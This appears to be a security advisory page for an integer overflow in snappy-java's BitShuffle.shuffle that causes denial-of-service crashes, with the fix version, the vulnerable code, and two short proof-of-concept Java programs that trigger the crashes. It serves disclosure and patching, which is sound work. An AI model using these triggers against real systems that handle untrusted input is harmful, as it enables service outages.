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MEDIUM5.9

GHSA-pqr6-cmr2-h8hf

snappy-java's Integer Overflow vulnerability in shuffle leads to DoS

Quick fix

GHSA-pqr6-cmr2-h8hf — org.xerial.snappy:snappy-java: upgrade to the fixed version with the command below.

# pom.xml: bump <version>1.1.10.1</version> for org.xerial.snappy:snappy-java

Details

## Summary Due to unchecked multiplications, an integer overflow may occur, causing a fatal error. ## Impact Denial of Service ## Description The function [shuffle(int[] input)](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/BitShuffle.java#L107) in the file [BitShuffle.java](https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/BitShuffle.java) receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function.

```java public static byte[] shuffle(int[] input) throws IOException { byte[] output = new byte[input.length * 4]; int numProcessed = impl.shuffle(input, 0, 4, input.length * 4, output, 0); assert(numProcessed == input.length * 4); return output; }

```

Since the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a “java.lang.NegativeArraySizeException” exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as “java.lang.ArrayIndexOutOfBoundsException”. The same issue exists also when using the “shuffle” functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue.

## Steps To Reproduce Compile and run the following code:

```java package org.example; import org.xerial.snappy.BitShuffle;

import java.io.*;

public class Main {

public static void main(String[] args) throws IOException { int[] original = new int[0x40000000]; byte[] shuffled = BitShuffle.shuffle(original); System.out.println(shuffled[0]); } }

``` The program will crash, showing the following error (or similar):

``` Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0 at org.example.Main.main(Main.java:12)

Process finished with exit code 1

```

Alternatively - compile and run the following code:

```java package org.example; import org.xerial.snappy.BitShuffle;

import java.io.*;

public class Main {

public static void main(String[] args) throws IOException { int[] original = new int[0x20000000]; byte[] shuffled = BitShuffle.shuffle(original); } }

``` The program will crash with the following error (or similar):

``` Exception in thread "main" java.lang.NegativeArraySizeException: -2147483648 at org.xerial.snappy.BitShuffle.shuffle(BitShuffle.java:108) at org.example.Main.main(Main.java:11) ```

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Affected packages

Maven/org.xerial.snappy:snappy-java
Introduced in: 0Fixed in: 1.1.10.1
Fix# pom.xml: bump <version>1.1.10.1</version> for org.xerial.snappy:snappy-java

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